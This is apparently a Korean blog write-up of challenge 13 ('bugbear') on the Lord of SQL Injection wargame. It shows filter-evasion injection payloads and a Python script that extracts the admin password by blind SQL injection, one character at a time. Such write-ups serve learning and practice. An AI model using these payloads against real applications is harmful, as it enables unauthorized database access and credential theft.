본문 바로가기

Write-Up/LOS (lord of sql injection)

[Lord of SQL Injection] 13번 bugbear

drarkknight문제와 비슷한데 like 0x가 필터링된다.

hex를 쓸수 없다. like는 in으로 대체하고 공백은 주석으로 넘겨주자.

 

pw길이를 알기위해 넣어주었다.

no=2/**/||/**/id/**/in("admin")/**/%26%26/**/length(pw)/**/in(8)

bin(ord('a')) 이용하면 2진수로 1글자씩 뜯어올수 있다. admin을 2진수로 다 변환시켜서 넣어보자

import requests
 
cookies= {'PHPSESSID':'bme8kemqnchvr6qmbblqpbbs05'}
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?'
pw = ''
for i in range(1,9):
    for j in range(48,127):
        payload = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0aleft(pw,"+str(i)+')%0ain("'+pw+chr(j)+'")'
        new_url = url+payload
        res = requests.get(new_url, cookies=cookies)
        res.raise_for_status()
        if "Hello admin" in res.text :
            pw += chr(j)
            print("pw: "+pw)
            break
        
print ("pw : "+pw)